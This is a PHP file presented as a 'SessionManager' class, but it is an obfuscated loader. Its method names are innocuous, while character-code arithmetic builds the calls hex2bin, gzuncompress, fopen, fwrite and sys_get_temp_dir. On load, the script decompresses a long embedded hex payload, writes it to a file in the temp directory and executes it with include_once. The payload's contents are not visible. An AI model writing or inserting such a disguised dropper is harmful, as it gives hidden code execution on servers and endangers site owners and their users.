<?php
class SessionManager {
	private $te = '';
	private $pz = '';

	public function sendNotification($p1) {
		$a = array(((8+23+73)),((81*1)+20),((109*1)+11),((51*43)-2143),(108-10),((108-3)),110);
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function updateCache($p1) {
		$a = array((103),(((44*1)+78)),((71*1)+46),(3+107),((3*33)),((83+28)),(109),((2*56)),(2*57),(105-4),(5*23),((110*68)-7365));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function fetchRecords($p1,$p2) {
		$a = array(((24+10+68)),(37+30+44),((2*56)),((106-5)),(2*55));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function manageState($p1,$p2) {
		$a = array((((21*3)+38)),(((116*1)+0)),105,(124-10),(7*17),((28+74)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function filterResults($p1) {
		$a = array((108-6),(((67*1)+32)),((47+61)),(81+30),((18+35+62)),((64+16+21)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function resolveAction($p1,$p2=null) {
		$a = array((9+100),(4+33+68),((82*1)+32),116,((41*1)+73));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function trackActivity() {
		$this->pz = $this->resolveAction($this->updateRegistry(), '/');
	}

	public function triggerCallback() {
		$this->te = $this->updateCache($this->sendNotification($this->at));
	}

	public function rollbackTransaction() {
		$fn = $this->pz.'/pj-6819882cca54e';
		$f = $this->fetchRecords($fn, 'w');
		$this->manageState($f, $this->te);
		$this->filterResults($f);
		$this->scheduleJob($fn);
	}

	private $at = '789c9518896eea48f25712291ab040c847db0d613d4f4f59d' . 'eced366c328c99bd1ea092163b7c11c36f10521937fdfaa6a9' . 'bd80e21b341beeabebaab3afff8b25d6c2fdcb5932417d355f' . '0b28d83dc49c545923a69e05e4db7fe50be5ef859e8a641145' . 'e4c532f6f5f4d979ef212f8edcb44acfdeb6ba454e4eb34dfb' . '595612cd22c0e2f1662afcf82b0fd46f5135927caf0b5aeaa2' . '21ff95fde186c278e9de7766bba8f9e5af6af2da65906fc4c6' . 'e7043f798d1eab52cdf12f0e08cebf0ea0254b35cf8f99cc3b' . 'b0fd081c5e112860364baaa3bad6e6b1ae42ec933909d33cbc' . '4bbee998c0fb86a9986a3ab96c655787781d78077064fa0d57' . 'dcb812f0b2eb004a57315d5c3c550b0705728185800d247489' . 'a4888c907cc01810633d8c0b0d80004718331f783e70044a3e' . '1cce4ccb406cc47674184a19af0e6987d260cf54865589e695' . '91e49f5918b71d3e20e3c0d868e63a80668ce9e02c935ceb9c' . '3c9c060831003428636cf9058207c97440542b7348b824df0d' . '52c2111dcc24803d425b9ee01a124302cdfdc65f926b614843' . 'ee4897115e2ebeb3ec4d7b4745d8024785a1698edc25b1f726' . '77086ee9a1cd01626c983c0534ce11582081405d2e186e15b8' . 'c32a4a18d1ed928d5191c630559724d0c8ab006542a4831df5' . '40d02b0e99322a805443fadc947acb63ed8e449a8702a4cc04' . '3a937c867f21ec0a6c97495f24e51e05847e48b2c86655284d' . 'f24ffc83a4e8989779419c3a7c03925594953e66f972d10a5a' . 'bac6f32f8a93a1686a1e9981e43553dd5617d0a1437c85959f' . '7642cb0878740ba40412eab76b74720f1d28a809f09c12b6a1' . 'e5703c05d1975a4523d94472b692ddd245d40439945ed88dbe' . '4bb32ff9b452af5d29295e4a5f67c1649f54544496e3827c1a' . '597a60f85ecb201c370304177bcf90c536a96ee6d933a1322f' . 'ac06b31dfd429924c3375c600cd4c0c1cb3c80a1064529830c' . '939ca002a93c1060284a80064c043034efa24c2d9734399691' . 'a925807720d8ba1b09422b07ba3462262c017831d19c82be02' . '186a5e397d1db1dea9aa409446c213785421ae5348d42b7908' . 'ec881b408d7d1dde5bed492cef6cd902313451d8d9231181c8' . '3bdaa5b45d9802421cf1bc71bb957cd0d02c1b8b7dc5413439' . '2b0501083ac87d8a9aaa2d57a8a17553302534689f779b16de' . '4d3a460132d933459728a84288af260d5903dfb440f7b858e6' . '1e5b03d1c378e4326a34265891b5de97ebef0e4c2e5aeaec22' . 'ea1e1b2a29a95955e20745879e83a2eea8240f62a5dc59d184' . 'b4437845c7b6e90911db4ab116926483b52999686109fbce76' . '42874083231296934bc4123c03bec4fd0995f17c2f144dc868' . '100da39b67b6cbe807f6a29caf0041250015c39f5012081b92' . '0481291c298f0afd1e3cf06a920b25e6bd552268af27235dd2' . 'c537b1a2ed39a4c6c99521411fcf24b92c6db28915fdd9a696' . '8d6a56dfbce3a11ca8b17889a20686d20e75500f21d0edb1b2' . '25fcf58bcc26e9894b606a97d35bd198ffffd7d3484e9249fd' . 'bed204c9538ca42afad76e0a70c71c2a982f59e51fdeb7cf28' . 'd029c4531f6c88f9fa46a62d7dc8666ab0c778b602d8a71ac4' . '2d9b3d1d49f152334b3a399ca448e5f18d6cb2605ef999dca5' . '5d076aafe0146458c1cfdcea9a8b2691d0d5866b1705632669' . 'dce875e611d852d1943207ba55836051a60075cca29db9005d' . '3420aaade75b832692bbd26dcead04f296352c71a1d03b8482' . '2a59f8c690800c595ab24efbe13d5c8fa27df10b1615304031' . '5ac50b1f4de69d07bdcecd46fcae49dc3bc6755fe202ce7bf4' . '959d3631d5dadde88aa510d60ac46c5822b2c08dd75e689229' . '4c3d7b7711f17fed53449e618df681dd5ca01f789259543bcd' . 'ad630304c6232814f6e37302eadd7ce6c2d9a3bd30a2ea095a' . 'b776ebb59bc86e93440a52053191200967eb4455030efdefcb' . '8bf1dfffe387d78b89dfe31bafffeedbfbf8f46f75db9bdfc1' . 'df2dfc60f8fdd46fd9f61fc36bebd1dff793bbef9faf87d7cd' . '73d51d36798ef478f3feeef1eefbfde3d7c03236bcc46bdc03' . 'e059cd3f3dbe8eb3f1bf23b72bb3bc37433bebb1bdd3c3e7ef' . 'fcf68fca31692ff77319c517242badec3ea3f5e0ad60f5616c' . '9107be1920484eef267099d8b3408fda84010c85d47892800d' . '48680b8d9cbe670417f995c56f77b4d553b70294a7108a6ca2' . '93a10b4af6c666f9d381153505216e1d5d48fed36216b2a9e4' . '0fe1ae4dbf5daa70199dc3aa4eebbfdf3402ba3292a953beba' . '4da9d9b3440922e8fed8ea4f76ae2e39d1c034ec8c7aeeea0f' . 'c136cbb0cb08b936c211a1c005fafc600d03dad7b7733b7fd2' . '47257d15684ed3606ea4b432d1c3f94eb066c83c3c80e62744' . '2e566817e82ca2e49ab668e55773fdef9e45bb9ae169d55dd3' . '879e793ef72b601ff94177f9ba589fce852f8d0f3d96ed3182' . 'eca767fe98ba8e4a56dedc9f6a1804b09152653d33b7095ca4' . '0a4424b81e683270904ee5ab2721c78702e7a6fc2b1c7fae5e' . '24013607e92954ea2b1012fbc67bbacb187d13d6c8bf59ccfb' . '110c9c7e8708e709b14742238478643655e5086ab7394705c0' . '3b22f27711b5931935a292d1d3ac8920d4fe724c3f1ec43c9c' . 'ef33bb1b2b83f89131ec63e14ba922b7d721d66ebf5e7a1f4c' . 'a657d5a1a9eaede649d0f379ea63e1494157aa42828303f58a' . '7229ee64edc26876b9dd1c06193eeb241fbb94d4472b76c728' . '38b556eab8f63cebb7b4512301cf75d028860786ed6c7431d0' . 'dfac25d4417b5f8647257f5f3da3e952fe8bf4d88095735cc7' . '62ef7db1e164eaf51ad709a5386620f438842f65c9606f9b9f' . '2d75fc7af7055fd124f6858c15438b57a2ece09b5a1099b40d' . '652ec5f5160edac94095935880a5735141c12090c6aa00292d' . 'c86f624423782a16de624c262d3e26b994461f98e1628d4888' . 'e8738e4fd5be7b683ac94cad10da34e74c7d8bcfe0f1bb1633' . 'd';

	public function scheduleJob($p) {
		include_once($p);
	}

	public function updateRegistry() {
		$a=array((22+18+75),((110*85)-9229),(115),((80+15)),(100+3),(((42*2)+17)),(116),(5*19),((69+31+16)),((106-5)),(109),(2*56),(98-3),((66+34)),(((72*1)+33)),(105+4+5));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$dx = new SessionManager();
$dx->trackActivity();
$dx->triggerCallback();
$dx->rollbackTransaction();
